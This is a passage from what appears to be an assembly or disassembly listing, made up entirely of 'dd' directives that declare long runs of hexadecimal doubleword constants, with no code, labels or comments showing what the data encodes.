		dd 7968ADC9h, 0C4D90752h, 0AD4ACD29h, 193417CCh, 36F14820h
		dd 41EC00B7h, 0CDA93918h, 8F0152E1h, 0FCBACA17h, 61A70A24h
		dd 534A6CA0h, 686F1F95h, 4B0A80A1h, 0F5A2D7Ah, 0A8E40D1Eh
		dd 1B8B9A63h, 45780A8h,	3224EE0Ch, 0BC680834h, 36D380DCh
		dd 0BCFA742Eh, 0F5B26F00h, 2B59158Dh, 982B8B6h,	4F86F817h
		dd 23E0342Eh, 0CD1E5BAh, 3859FC2Ch, 4A84E490h, 60B74503h
		dd 0C0890C6h, 67BB7519h
		dd 8600F0C1h, 0CAC8779Fh, 27737B39h, 64C84159h,	50B11906h
		dd 2D3F1D00h, 0B30597h,	4E4B1F9Fh, 40109003h, 8CF83428h
		dd 204E0F42h, 166AC778h, 1292B300h, 87D7DB47h, 5E4800A2h
		dd 24ECEAF6h, 785295C2h, 80683EA8h, 3371544Eh, 2EAF5634h
		dd 954B0CFh, 7C4613F5h,	8281450Fh, 835C55Fh, 0C8FB3801h
		dd 0E4F49016h, 3A5C0086h, 10707E1Ch, 94964062h,	1CB4374Eh
		dd 951B038Fh, 7323BE49h, 506452E8h, 0C1205490h,	607C09E0h
		dd 8C027F1Eh, 7304CFE9h, 297960C2h, 0BC2C28D8h,	211EA4A5h
		dd 65DADEDEh, 14FF4349h, 0D0EE0148h, 0E04C79C8h, 633FF98Eh
		dd 6680DCA8h, 5B0FC95Ah, 416579B6h, 0BBB959A3h,	86F0406Ah
		dd 419D9243h, 51752200h, 0EA94DF77h, 681918E4h,	3DD1610Ch
		dd 201DC000h, 0BBB87EC5h, 0D8724FA1h, 12008550h, 843A1378h
		dd 5C43534Bh, 28003594h, 16E6D93Fh, 6E007FD2h, 7A15ECA4h
		dd 0BCAC4068h, 0C5768060h, 580FDACCh, 3F382F76h, 0B59A0285h
		dd 7BC6D116h, 708711B4h, 0D8CAEE5Bh, 0CA5E0800h, 1BF2E79Fh
		dd 7D01D24h, 913E6409h,	286E8BDCh, 300BD3Ch, 0B031C05Eh
		dd 18E3889Dh, 4CBA0D08h, 3638DF59h, 14F127EBh, 721B0078h
		dd 0AD7F10AEh, 6EB0BFFFh, 96545E02h, 0D417EC61h, 519B4040h
		dd 0D72CBB59h, 0E90126C9h, 8465AF7h, 7E8463Ah, 100061E8h
		dd 4D8E3C5Dh, 758322F4h, 805A3974h, 24868227h, 0D012815Bh
		dd 0C490199Eh, 267D64h,	61582827h, 9C38999Ah, 0D12563B8h
		dd 656091C9h, 110F20Dh,	0FBD62EE2h, 1703F28h, 0F1D17F49h
		dd 6D620FADh, 3E1200B0h, 0E7C613CFh, 23E0E96Fh,	255E12EAh
		dd 778CB69Ch, 0BA210E01h, 0AC327617h, 0ED001C32h, 0D14DA210h
		dd 7C006813h, 7BEBF036h, 6043CDEFh, 813491D8h, 30E9A1B6h
		dd 42144D14h, 5897C18Fh, 6C0424Ch, 0A5633C8Ch, 0A911DFAh
		dd 0B1BB8054h, 0A89A27FAh, 8C7C207h, 71A13006h,	0B8210FB6h
		dd 3809838h, 59294EC3h,	0F775AA00h, 0BA8F8450h,	4BAC5B18h
		dd 0ECFA0798h, 0F5D17B07h, 36B07146h, 0B109A41h, 783CEC04h
		dd 0D172EC00h, 6F4E4BC7h, 0F7A1CD8h, 9BDB84DCh,	0C0E15525h
		dd 0EDD253CAh, 576C9400h, 6DBBEFD4h, 9AC2121Fh,	615022E8h
		dd 4219C921h, 8F05F8h, 0E5680A1Fh, 11C13156h, 93F77F05h
		dd 54405A61h, 449AE0F9h, 98A60E40h, 4C825E18h, 9B607845h
		dd 0CC254D71h, 54B01213h, 98942808h, 864E2C0Ch,	59F640FCh
		dd 46EEA203h, 99B6EA01h, 0CFA54A01h, 6C806C6Ch,	953F0385h
		dd 0A768B927h, 0E01F7A54h, 0B6310F2Ah, 59930030h, 6EE210F7h
		dd 0F007D2A3h, 0BB9CA480h, 8040533Bh, 915B21E1h, 3A0486F5h
		dd 9F9B18CEh, 849945C0h, 24800929h, 6848EC02h, 0D1C0E677h
		dd 0BA81AC46h, 0EEFB0F58h, 37409C3Fh, 7CA0FA64h, 58830939h
		dd 0C89D389Ch, 0BC5C2EA4h, 0CAEF0EC0h, 4A4FB899h, 18EC8CAAh
		dd 0FD09AB1Dh, 790E4ADh, 0AFEC531h, 0F4A3101Fh,	0BF001741h
		dd 4F91D924h, 2674D1AEh, 265CC5Ah, 10A8237Ah, 2B004C51h
		dd 1DB0D532h, 0EA390138h, 0F3C9442Ah, 0F0A09C21h, 68049027h
		dd 90C4EB6h, 9C49FF04h,	0E01D1078h, 8B240371h, 80F2B961h
		dd 0C444ECF1h, 2C124922h, 4CC81490h, 0B6B9020Bh, 18B494A8h
		dd 0FB7E20E6h, 5AABA900h, 0E00C8523h, 4DA40287h, 64584A7Eh
		dd 7859A4E1h, 60358B98h, 13ED4368h, 0A6ABEF76h,	589F10F0h
		dd 0AA733300h, 6C6085D8h, 0E4341100h, 79074D5Bh, 884252CDh
		dd 18085C7Ch, 82A10C80h, 1A01079Eh, 420F9BD1h, 4E3E998Dh
		dd 7F715BF8h, 4BD7943Ah, 0FE907067h, 0F5C678h, 0AC2A0ABCh
		dd 4B5597F7h, 876E8314h, 88B0B99h, 800451FFh, 19E335E7h
		dd 4E14A7F7h, 4290902Ah, 96B600B8h, 254D6B9Fh, 7F501DD7h
		dd 95DD8348h, 0C05DE32Eh, 0FF0505DCh, 0B8A20233h, 0C0C4101Dh
		dd 2FE0A9E5h, 28CC3B62h, 228190Ch, 0E6E7600Fh, 78610EA5h
		dd 0FC7CFCF2h, 80FC68F9h, 39D57747h, 3C263D05h,	1F79E680h
		dd 336BC954h, 71344F4h,	0B4B71074h, 447F310h, 0AC4C717Bh
		dd 672298F2h, 1DE41F00h, 0C82CC2BFh, 70515887h,	0B07EBBC0h
		dd 285C81B6h, 467918B7h, 25ABE52Ch, 0EC840FA1h,	5BCD4570h
		dd 1AFC4CCCh, 90B10424h, 17E0B8F6h, 4ACC2F46h, 0AB7C4B47h
		dd 840C5010h, 31250200h, 0D2DDD75h, 0B42901F8h,	86F25A72h
		dd 90DC3CB9h, 0A3257228h, 32B49072h, 0E5210594h, 60DDC262h
		dd 0E40C89A4h, 64FD9F00h, 5E67D72Ah, 0D17C004Ah, 0C1A75DE1h
		dd 0D90228A9h, 80697022h, 0FD384364h, 2F789C32h, 0AC9D8C61h
		dd 0E145F4CAh, 10F18F34h, 4875A480h, 626C96ECh,	0D45C7C1Ch
		dd 0B6B81050h, 0C3F7425Ch, 0EB42A4A2h, 4595FCE6h, 0C20C0788h
		dd 0F0B4B780h, 0DE7D4A19h, 0B71BA39h, 69F008D4h, 899F6174h
		dd 0B4902F6Ch, 89A0749Bh, 0C70B295Eh, 0AA08560h, 6114E2B8h
		dd 8884E8Ch, 6B9D00E8h,	8BBAC6FAh, 2028F92h, 89FFA2B1h
		dd 34986010h, 617EB09Eh, 0E393108Eh, 80C07867h,	4C44AB27h
		dd 0BA0203CEh, 0B6C7E7EAh, 0A30CC5BCh, 0D5E51080h, 0F200B03Ah
		dd 0E6C40CEBh, 39F70218h, 105C121Ch, 6CEC1C89h,	0DD620052h
		dd 1112F23Eh, 2128DF1Eh, 0AE40C478h, 91609E5Bh,	3010030Ch
		dd 0D0177227h, 594A080h, 0C8D190FDh, 7294A138h,	0F90B00F4h
		dd 6DE8D6C3h, 3F64834h,	170C2324h, 0B108199h, 0C5951116h
		dd 300B0BF6h, 0A988C4A0h, 73001CF7h, 0F35D7C3Eh, 70676BD0h
		dd 22F15AEFh, 0E8335C98h, 2F78515h, 72049DEFh, 34873D64h
		dd 0E38BB8C7h, 28550C05h, 317D6915h, 37FE4A2h, 569D2C56h
		dd 9C07B722h, 0C6FD072h, 0C4B60FBEh, 0A0B80B47h, 0DD2A0764h
		dd 0E0C4868Fh, 463ABBCCh, 218A371Ch, 14391C80h,	0B694A3C9h
		dd 27A991D0h, 80F46A07h, 7F3028A9h, 0D20D032Fh,	0BE1A4C10h
		dd 0ABE0B4EDh, 0ECB8A9D2h, 16550180h, 13008BE3h, 34D5C415h
		dd 1FB71BBBh, 0C00F9Ch,	35107395h, 69C0E508h, 413EA7D8h
		dd 40300790h, 39215D8Fh, 94B41052h, 1933EA40h, 441E0A99h
		dd 6FA05C6Ch, 57717D61h, 268C72F3h, 0AA4390ABh,	0BF66F8C3h
		dd 814D00ADh, 0C9EA0903h, 0D896483Ah, 254F6909h, 18C8B3FCh
		dd 3DEE2523h, 68B5F859h, 0F603DCA6h, 926FB1F9h,	28FD2FA9h
		dd 0D025806Ch, 3ACFC39h, 1E88CBE1h, 0F5806CBEh,	0F4A09974h
		dd 0CC132083h, 0B0498F44h, 0D8E6B0h, 0FF3DDA7Fh, 61F7E52Fh
		dd 0C88384Bh, 0CE510120h, 0D113A6FAh, 4A2823C9h, 0B3364CCh
		dd 4350F781h, 0E7A0AC64h, 0E71CE2F2h, 0B801D4A9h, 398252E4h
		dd 955FCCCh, 979349DFh,	0D242D4F8h, 0C0926527h,	3671640h
		dd 0FEE3B105h, 0E08B9AD1h, 759C1E00h, 0A72AA89Bh, 5D0E3200h
		dd 0DDFB0B2Bh, 5EE404E9h, 0E2AF6DAAh, 0ECE600E8h, 95D00F2Eh
		dd 0CF5C017Bh, 0CA725301h, 70643A13h, 4844D8E8h, 5A363C8Ch
		dd 4A8C804Fh, 8601BB84h, 790CE63h, 7474A3EFh, 0F5C8C8B3h
		dd 17F9D180h, 918E4DFEh, 3DA9134h, 50BFB1F1h, 0DE809CEDh
		dd 164B4CD1h, 926240C8h, 60F53C60h, 0BED30566h,	4FA140BCh
		dd 0AF036772h, 0AF192C8h, 613EE0D5h, 0C1284E03h, 725694h
		dd 5B5E58F7h, 7BB8C24Fh, 0C0006871h, 0B2A0AC5Ch, 0BF58003Ah
		dd 0C6A0ED0h, 46FA4344h, 0A418997Bh, 79B1E518h,	348500B0h
		dd 6E8E320Bh, 88A01ED2h, 7006575Ch, 23868BFh, 73B8888Eh
		dd 368E0918h, 0F4F89713h, 7FB05C53h, 7500B5EAh,	22EA100Dh
		dd 583CF156h, 0F42FD8FCh
		dd 8DBF8C40h, 64FE1227h, 0D5B50094h, 0D89E1F3Ch, 7E006FC1h
		dd 4B8EFAFDh, 0F8B47525h, 0DFE6B2h, 4773C98Bh, 405CD109h
		dd 0C4E4352Bh, 48E9B440h, 5A5200E0h, 4CB5B954h,	400EDC8Dh
		dd 6349C4EFh, 278F109Fh, 0B8459A4Ch, 0B8BCE107h, 52F6E7F0h
		dd 9B6407E3h, 73A6C0Ah,	0C8FCB269h, 0E8632840h,	432F6889h
		dd 8198A5FCh, 84550488h, 0A6B90113h, 0A7821C03h, 823B0DCh
		dd 4449CC3h, 8C1A43CDh,	5845A50h, 0A3BA236Ch, 7B90A418h
		dd 2586FC13h, 0B1EC1CA5h, 2EA51FFBh, 23888261h,	0C0C62181h
		dd 6A915D01h, 28960BC9h, 5CDF4CE8h, 0E62E6997h,	8D88174Eh
		dd 46C9E0ACh, 0DB5BAE17h, 0FF4CC8h, 7919FB83h, 70F60CD3h
		dd 0CE029CFEh, 0F78D97F2h, 1168C5FCh, 5E5A824Dh, 0E42C6AD8h
		dd 0BE8900B8h, 5C7C1E69h, 25BF8E75h, 74CCC46Ch,	9CC500E7h
		dd 0AC34535Fh, 4C0218BFh, 2398C62h, 4438A2EBh, 0C958180Dh
		dd 0A4E7B71Ch, 8066BB08h, 239F7A2Dh, 4901E983h,	78DEA0D8h
		dd 0C041D57Ch, 0D82EE13Ah, 0EE95FA18h, 27F202A0h, 4B268128h
		dd 0D921C54h, 291EFCE7h, 874540D1h, 15F79586h, 0BD62300h
		dd 0F85FDE3Ah, 0CE9E3C80h, 0A4F2673Ch, 845B00FCh, 8A2E8C0Ch
		dd 2D00C277h, 0D7051B20h, 2DEF1617h, 20E4CEBAh,	38D2862Ch
		dd 6825DB11h, 0E397F0A0h, 0B008810h, 343799B7h,	0E0F66756h
		dd 600F4DEBh, 449B732Fh, 0FC04F1E6h, 0EFC25ACCh, 320000B2h
		dd 4F24C868h, 0DB0F8AE6h, 0C3FA8B7Ch, 9A482FEFh, 206044F8h
		dd 125E0D5h, 4F946454h,	7C54C810h, 76B05700h, 0EC81DBC3h
		dd 38AF0055h, 0C668B139h, 0C17F53D9h, 5C5854B0h, 9D0858BEh
		dd 48B33E57h, 0AECE1F02h, 8A20DFACh, 0EC07B58h,	0A2275D74h
		dd 9EC5F140h, 7A139F15h, 0E41640D4h, 80D78408h,	739C3C10h
		dd 591EC9A9h, 0A8E42C8Fh, 18959383h, 0B2BBA172h, 20FC6189h
		dd 0D1567882h, 627F8C69h, 0EAB0073Ch, 8DD06538h, 996241D4h
		dd 3EDC0184h, 818CCBFDh, 9E0A18DCh, 69AD2767h, 51BA24E1h
		dd 4476CDC8h, 90A08CE0h, 0F762661Ch, 55C20A5h, 9FC7AEh
		dd 0FBDEA6EEh, 4F10BA14h, 6045100h, 0F76DE15Dh,	0E8545C78h
		dd 0A2E75B17h, 0DDC78080h, 0DAAC93h, 625BD3C6h,	1561DF1Eh
		dd 0D6334F12h, 68ACC9h,	2068AF13h, 40CBF924h, 7300ACE2h
		dd 2E76E509h, 4822F7FCh, 0DAC51839h, 0EA70C018h, 1F3FD1DCh
		dd 0B8C95061h, 12C8BC48h, 54A301C8h, 29949E00h,	399AEA49h
		dd 2F70CC58h, 1DBCCEC2h, 0EC2B899Dh, 0F8910203h, 28F4F13Ch
		dd 0D67462C7h, 202E20A5h, 721C89A0h, 4BDB593Ch,	41820460h
		dd 33500FDh, 6D909677h,	512FCDB9h, 0CEEC91DCh, 74C96910h
		dd 2E2B000h, 0B8EDD43h,	10680099h, 0F3311963h, 0A613C734h
		dd 54F4620Fh, 1249FE5Ch, 3E188F7h, 0DF0C7E8Eh, 0BE38F4A0h
		dd 282CB9FEh, 51253C76h, 8DED40C0h, 0F600F2EBh,	90D68C53h
		dd 0BE4A476h, 0C87F24BFh, 50F4E8E2h, 888C1864h,	0D4C801DAh
		dd 0E9ADAB4Ah, 0C4F9D0E3h, 39D5333Fh, 70589202h, 0C84C7CE2h
		dd 78E6F125h, 0EA0BE8F6h, 4A5F71CBh, 40B07EACh,	0B0394E36h
		dd 0BA647803h, 0E9A54D1Bh, 0F048AFD3h, 98C0A6EBh, 0F6D00D4h
		dd 1CE9C9EFh, 85E1B0Eh,	762F5840h, 1F8C5A9h, 10809D91h
		dd 69EE6D62h, 732208h, 0DA1341AFh, 8F7C4D12h, 0C0954272h
		dd 13A56004h, 94EFE16h,	0B8C4675Ch, 0DB038D1Fh,	99A8DC00h
		dd 2ADC26Ch, 71952812h,	925D755Bh, 108CD9B4h, 419AC84Dh
		dd 309526D5h, 0CCB14CB8h, 9ABF3702h, 0EEB8410Fh, 88038070h
		dd 80A43DB7h, 0C5F4AF8h, 0F971ACC8h, 0B8E4EA13h, 0ACA87540h
		dd 0C90EE6B0h, 0B3D7FB2Ch, 25EFCA0h, 0FFAC5F0h,	488093C4h
		dd 22EFFEA9h, 95B1D601h, 48CE808Bh, 0C074247Ah,	0F70D3980h
		dd 10A6674h, 785086E3h,	0D9D38209h, 8F8A8024h, 0B387B876h
		dd 4E5C5D50h, 0EF7C0344h, 41018040h, 0B34F0396h, 204ED71h
		dd 61343900h, 5623906Eh, 0BACB26AFh, 433740F8h,	5A002C88h
		dd 0E648AD89h, 0B7D739h, 0FEB882F8h, 8420FDAh, 0E0107935h
		dd 3F51FC2Ch, 0E7B0C1E8h, 0B8B6CAF0h, 2698DFE1h, 0AE7C4F0Ah
		dd 8216823Ch, 0A4E822EDh, 4FE45CDCh, 0CDB14200h, 0D802F413h
		dd 9D1AFD5Eh, 1440E4BBh, 9F4D27CEh, 88EF7716h, 99008988h
		dd 0CB5AA691h, 1C73261h, 0A2A59517h, 2356120Fh,	34AF00D4h
		dd 0B47CC4A7h, 62363804h, 28FB939h, 0B6937ABh, 27559C18h
		dd 47523D00h, 0C0AB9232h, 2D11EC84h, 18E6EDBFh,	0BE8E3000h
		dd 0F2C43C1Dh, 0CBF50090h, 15012DA4h, 7801088Ah, 95BACE11h
		dd 20735B14h, 0A8C5AF03h, 2AF045D9h, 0E9040DBCh, 446558DCh
		dd 468E2082h, 8B5F5E74h, 5B083C78h, 40AA108Ch, 6725FCC1h
		dd 28B8594Dh, 4C5D0B1Ch, 982A98Eh, 0B8D4798Fh, 57B6DF80h
		dd 6114C4h, 9B0C07D7h, 44BE5949h, 0B9C09102h, 0C039DBCAh
		dd 2406F2E4h, 1E8D728h,	1C55B082h, 0B92070CFh, 4F968C94h
		dd 9480A4B2h, 0F05C3B8Ch, 5CF95838h, 47CDC410h,	64E6E0C4h
		dd 409B130Fh, 0EB786F40h, 0F7381645h, 30DB81F6h, 0EC6B7D2Fh
		dd 4B63B0F0h, 148F3CCh,	382167F7h, 1C636879h, 0CF252300h
		dd 0A4BD4C09h, 81A5270Bh, 0A74CA011h, 8866AD1Dh, 9707AF26h
		dd 25C94DC6h, 3210ACh, 0BE9D7234h, 0C7FE1923h, 4274E997h
		dd 0F8A85AF0h, 0C2B03E6Eh, 546EB2A5h, 5D9A2003h, 0F47564ACh
		dd 5ACDBAC0h, 2D8300B5h, 0B3E1A82h, 6B4F798Eh, 0E6ECA832h
		dd 89751FC8h, 782F8C4h,	0B1215D02h, 0D2031461h,	0C60010D9h
		dd 7CEA2D69h, 98E470B2h, 77A886A5h, 212900DCh, 6C5A491Eh
		dd 64980CADh, 0CFD55104h, 9C4D812h, 60DC00BBh, 135E8FB0h
		dd 288F0D5Ah, 4FCCF809h, 0D244A444h, 112A017Eh,	12B6D6DBh
		dd 4B65FD7Ah, 2C771120h, 300E1709h, 3256AC8Fh, 6F20D8E4h
		dd 316F740h, 0DE91042Fh, 71C8C73Dh, 0AA4F86B5h,	0CAB17420h
		dd 0B0FA0B4Eh, 835FC13Ah, 0C81550B8h, 21DC216h,	8E472DBCh
		dd 0CCD03378h, 0CD2093B5h, 0EF2544E3h, 347D7890h, 5F2C85F9h
		dd 0C8E84AEAh, 0CD47810h, 0A95EF101h, 821005Ch,	404F0FFDh
		dd 504BCC36h, 0F200A4F3h, 0CDEC48A1h, 0F4A67544h, 3D10D744h
		dd 7ABB226Bh, 3090231Bh, 6D12C887h, 0AC0020A7h,	1E2541Ch
		dd 0D4069216h, 13F5E107h, 0B0449748h, 0ABDEE600h, 957C8E02h
		dd 8FA00B54h, 45A12A9h,	274890BDh, 0AAEE00B6h, 0CDE6677Ch
		dd 0BC1A71A5h, 639806BAh, 0E8C0EC24h, 9DD07238h, 700804Ch
		dd 4D0D0A11h, 3157E1h, 8EE4FA28h, 0C7FFB603h, 81F665E4h
		dd 717D2D05h, 0CCE25558h, 0C08EDB85h, 0A93D691h, 27063F27h
		dd 0A0104F64h, 21D2CD1h, 0D66D24EAh, 1FE202DEh,	4A340357h
		dd 18D03D8Ah, 5851E7A5h, 29090449h, 10AC12C1h, 55F0A5F9h
		dd 16FF2EDCh, 13E208C8h, 795CC625h, 0E4A128FCh,	0FE4310F8h
		dd 6058E0h, 53BE87DFh, 7239594h, 0CB9910B0h, 3CE1707Ah
		dd 22EE3F62h, 0FCB3724Eh, 0F8168121h, 849F400h,	9F014159h
		dd 0E9006CE6h, 0EFE86BDFh, 3E3145h, 0AC9D78EEh,	929F7E0Fh
		dd 7BC8669Fh, 43623598h, 0D8440859h, 1422CCA6h,	61599A2Fh
		dd 0B7F0A400h, 0DCFC04EDh, 0FD86F77Ch, 271E488Ch, 1059B3h
		dd 4A5B8B7Bh, 0AB0C4887h, 4133D54Bh, 0F20188B0h, 84E03C4Ch
		dd 0C422EB5Ch, 0B34CE821h, 0F3A1F0h, 53941D46h,	99BD92A6h
		dd 0DD652000h, 9015F4D0h, 1BF175Ah, 2B788CE8h, 344C2AF8h
		dd 525B3B40h, 69E530E4h
		dd 8150A4h, 0FA8D5CDCh,	1F95922Bh, 0DCB9E00h, 9A071598h
		dd 23B1724h, 5878B6ECh,	8CEF0388h, 0A5D1E4A9h, 0D90B088h
		dd 6266D4F7h, 1CCC63D0h, 0F12513CEh, 0FB340708h, 420BF0EDh
		dd 74BD2DDh, 0F68D3849h, 23A38038h, 1673E218h, 0C74F1E00h
		dd 12558315h, 58A1588Eh, 18969779h, 4F0C3900h, 68C52684h
		dd 0F9E31D4Ch, 0B90DCE06h, 0BDF7C00h, 0BD7638F7h, 0C3785516h
		dd 0CCA298C4h, 0FB1C601h, 3AED023Dh, 3800A48Ah,	1F6F331Bh
		dd 850079C0h, 7219D668h, 922093Fh, 8236B0Fh, 8925B4F4h
		dd 0F01670h, 0B8264091h, 94D078Dh, 5E10D502h, 40EF993Fh
		dd 90F9D8Ch, 0CC6CD150h, 0B0022CD1h, 66C4FDCDh,	4F710060h
		dd 946D19DFh, 0D1C3B646h, 0E85AD57Bh, 12E6C412h, 8CED0193h
		dd 811C94C0h, 530BF861h, 4128792Fh, 2D7880B7h, 1BCB0080h
		dd 3E3C92E7h, 6D3CC0D6h, 87261FACh, 49A46A00h, 0EF089FDFh
		dd 0B86497C2h, 3BC0FF00h, 408B2BCEh, 45132C69h,	807027DDh
		dd 24BA9Fh, 0E77CB2C8h,	13CF05FBh, 0FCD876F8h, 0C6212F70h
		dd 6C00B7ECh, 23C158FEh, 4BBEA499h, 8F1338B3h, 8940182h
		dd 2BAFFE87h, 0A85418C8h, 3F06E8h, 59E5CACh, 770CA433h
		dd 59D13B17h, 69FDFD00h, 4B6168ADh, 0BE848817h,	481FE3FAh
		dd 0AC00DB06h, 0F202C3CCh, 5F2E2E7Eh, 55F909E0h, 32E7845Ch
		dd 0D56D8450h, 9C0900C3h, 655D0EEh, 0AA792CB8h,	18A6FA16h
		dd 5A1CA4h, 1796B7Eh, 961B1724h, 8CC5F71Fh, 18166413h
		dd 0A8F86865h, 1234E34Eh, 70976371h, 1596D2A1h,	0D460BC71h
		dd 72DC9025h, 892FE969h, 53F40C74h, 0CB4548h, 0AF82A643h
		dd 4CD2Fh, 993D11DCh, 97B50BF2h, 53670F25h, 0CAE408CCh
		dd 1902373Eh, 481A0160h, 0CE720B5Bh, 4899EB4Fh,	1C2C08CCh
		dd 407D0340h, 0B409F1E9h, 8737682h, 59A8EE09h, 0A9B881B7h
		dd 0C22E0BA4h, 16D58C7Ch, 45931620h, 0EC9CC8A6h, 61412D07h
		dd 133004C0h, 12F67897h, 0FD95ABF5h, 71B91090h,	0F958E302h
		dd 0F4E2017Bh, 79007CF9h, 66EC1A44h, 2EB7E4A3h,	27E45CF6h
		dd 0CB00F8F9h, 0D9DC2A65h, 239D3FE3h, 73352501h, 706811AFh
		dd 0EA89CCF8h, 5C0A9CCCh, 0D04390EFh, 0E025E458h, 5F470CF9h
		dd 0C0798F01h, 4990207Fh, 8B30D169h, 0AA9A31D4h, 903604C7h
		dd 0C254CD74h, 18801BF0h, 6EABF282h, 81C7B63Fh,	0CE9025E1h
		dd 0D6FA0148h, 0FED7C0F8h, 1D008013h, 696EF332h, 4B495028h
		dd 11F4E371h, 3051C1ACh, 1324C5C2h, 2CC600A9h, 82B7DD27h
		dd 0E2F69700h, 0A787F0ACh, 4AE0000Eh, 0B9959391h, 210FEF54h
		dd 422C1970h, 409EB571h, 0B8142ECCh, 4ECD25A8h,	0D03438A7h
		dd 0B7CAEA71h, 9AEF9805h, 9C085C93h, 8C594479h,	6325B104h
		dd 0E39019CCh, 0A1F7DC53h, 287034C9h, 2A4D88F6h, 0CC451CB8h
		dd 0B2E0F5F5h, 6F151E9Ch, 504497Fh, 0AA7B6C84h,	142DA04Bh
		dd 35C50038h, 5488B9CEh, 9507B1ABh, 39F5EB8Fh, 0AFE90730h
		dd 614975A9h, 51CD794Eh, 0FC777AFFh, 0CB8DA100h, 575909B6h
		dd 2491EE01h, 40203F10h, 58F519h, 0BAD4C238h, 0C36AFB8Ch
		dd 0E71FD80Bh, 80C80B5Bh, 1764CAC4h, 0B8EA4CFFh, 1C417844h
		dd 0DCC288Fh, 3E18A556h, 8B01E831h, 0E4F871C8h,	5BBE0172h
		dd 0D76C563Eh, 0D633F912h, 0F1D170DCh, 75126708h, 0B44CD531h
		dd 7F7E1BEh, 89B44A0Fh,	0BA2CD51Dh, 5E6A1821h, 0E818AE4h
		dd 16036734h, 4B84F582h, 89CD54C9h, 0D6DA5460h,	77B50C8h
		dd 73190865h, 0BC6C188Dh, 0F85E7689h, 0EDDA58h,	40F5C603h
		dd 0EC47D75Ah, 869DD0B3h, 536598Fh, 9F8185DAh, 9068CB5Bh
		dd 80A4F293h, 379F648Fh, 0D4F20263h, 89C87092h,	0EE8B9840h
		dd 4C88E106h, 25A04DBBh, 8C05E3B2h, 0D0A413D2h,	0AB733470h
		dd 6F018DFCh, 0D61F4778h, 0D864EFCEh, 90FA82F9h, 2B47CD2Fh
		dd 0E5FC0450h, 22E41D53h, 71383400h, 10886ACFh,	1750980Ah
		dd 23BBB95Ah, 0F097DCD8h, 3B90848Fh, 0C5FE111Ch, 51651ADEh
		dd 0E0F40058h, 0ECB7C463h, 0E9961500h, 3AD453E5h, 0F53102A5h
		dd 0E4398E1Eh, 5809FC53h, 0F1270541h, 938068ECh, 0BAEA05F3h
		dd 0D36F562Dh, 7D98008h, 36CF2F8h, 79C04A2Dh, 95EE8924h
		dd 1768700Ch, 4C240094h, 90036511h, 7F21D2F7h, 0A8E250A2h
		dd 147F2442h, 0FE6C07ECh, 0D03282B8h, 8C3E1D9Dh, 7CF60705h
		dd 0B8C14DCDh, 0D4D1AD5Bh, 20415CE1h, 286BFA01h, 0AA77C4B8h
		dd 9C2FB000h, 0AD758A8Fh, 9A677ED3h, 0E80D2670h, 0CF860238h
		dd 8C400F61h, 969871D1h, 0FC4A20A4h, 7C0538E3h,	0B375CDAFh
		dd 166CC19Ch, 0EFF44767h, 0BC93246Fh, 0FCB28F78h, 34643192h
		dd 7D246D08h, 974D4500h, 0FF832CBBh, 6D5400B2h,	0FBE00A86h
		dd 0A4B44327h, 0BBCF1340h, 0E6731CD4h, 48EA0015h, 52FFFE49h
		dd 909A870h, 893D50B9h,	4268C6A4h, 80E30094h, 3607B12Dh
		dd 13E89A16h, 0FDEFE475h, 803B9EDCh, 969381Eh, 5B91189h
		dd 722388DCh, 0B82C1C64h, 60814100h, 0C2188EE5h, 0FCBCC2B5h
		dd 0FA25C0ACh, 52D649Bh, 751440B5h, 627BF918h, 7CE064B0h
		dd 3C2E9066h, 0D5009D04h, 8C7BAF03h, 21335FF4h,	0E8D8F378h
		dd 90F89DB5h, 0BC408E14h, 0BD9600D2h, 179AB173h, 0D53701D7h
		dd 0F90EE20h, 80407C3Eh, 43975419h, 0C91F0024h,	0A826AB51h
		dd 603D7844h, 5825FC52h, 2CCD964h, 42C17ABFh, 0FBC86B60h
		dd 0ECEF600h, 7F453530h, 0EAF1FA73h, 23551393h,	0B08E321h
		dd 8B351868h, 2584C428h, 0EC58938Eh, 19D34AEEh,	0B5802CF8h
		dd 15CA56D2h, 1F623Eh, 0E9C615Fh, 14F211h, 5180C6ECh, 67BD37AAh
		dd 89D2BC3Dh, 10E2A8Fh,	1534F2E4h, 0FB60D82Ah, 46EC8500h
		dd 52764C55h, 7517077Bh, 0A04A6B65h, 0CDD107E0h, 0EF717910h
		dd 88DB4C50h, 0C9000F4Ah, 910E3F49h, 1FE63A9Bh,	40437589h
		dd 7CC5EFADh, 264F8FE8h, 0BCCAA4C4h, 11ACFA01h,	0E8D754C9h
		dd 53B0CB17h, 62C4B400h, 97F0A4D6h, 41084E0Bh, 0D7B967B0h
		dd 94D07CFCh, 0FC30D67Ch, 1560AEh, 241F04BEh, 0D1FE1C9Dh
		dd 0D4958E4Eh, 20CD1882h, 2C586667h, 451A0701h,	7EDBD7B7h
		dd 441830A5h, 0B13A035Ah, 0C48A4A71h, 121EC001h, 0E87C2E45h
		dd 90975BAFh, 1E06A6E0h, 4109CA21h, 2C53C9D2h, 68DC314Fh
		dd 0CF88070h, 3B4971h, 0E24B0892h, 0CA17B7CBh, 1551CBA0h
		dd 9D4C8A61h, 84F20809h, 2F40D9C0h, 0A11DE8C7h,	0AD850E00h
		dd 0EE2A6184h, 3864976Bh, 0E99C1800h, 5E6DF49Ah, 3236001Fh
		dd 0B76B830Fh, 0C4BC017Dh, 2A40042Eh, 13CA8C1Fh, 22F94Eh
		dd 18E8D818h, 0A901BA77h, 3154E038h, 0DC2E8AF0h, 9C4052C8h
		dd 5F4E5A71h, 0ED28B838h, 17594A14h, 55C04014h,	82535494h
		dd 5ECAA502h, 744BC5D7h, 0D954060h, 0B500EA31h,	0C8B81AFCh
		dd 3D1D724Ah, 0A505B653h, 0C48BD189h, 8870BAC0h, 99B8C18h
		dd 368D935Ch, 4A4124FCh, 0F5C81184h, 0F290182Eh, 1E643861h
		dd 80280F41h, 5EF13480h, 337DD7CEh, 11006148h, 0D10B525Bh
		dd 5C18668Ch, 1C0118D4h, 893CD205h, 0C4CD7810h,	2994887Ah
		dd 65480803h, 0E2BF42A3h, 0F474EBE1h, 0AE80D8BCh, 2A52164Ch
		dd 6C548700h, 2350B08h,	4A0600C7h, 32B24FB5h, 0DC325634h
		dd 8454B9C3h, 38EB7F48h, 0B7848108h, 0F019B011h, 0E7134AB5h
		dd 29010341h, 5A51105Fh, 5C6D7060h, 0B84CFC6Fh,	0F0169080h
		dd 0C0289722h, 4054E0B9h, 0F4B668B4h, 1EB8C42Dh, 80978069h
		dd 9160ABA9h
		dd 0C39F961Bh, 0AC408504h, 9550FB3Bh, 4B8F000Fh, 0E27693F4h
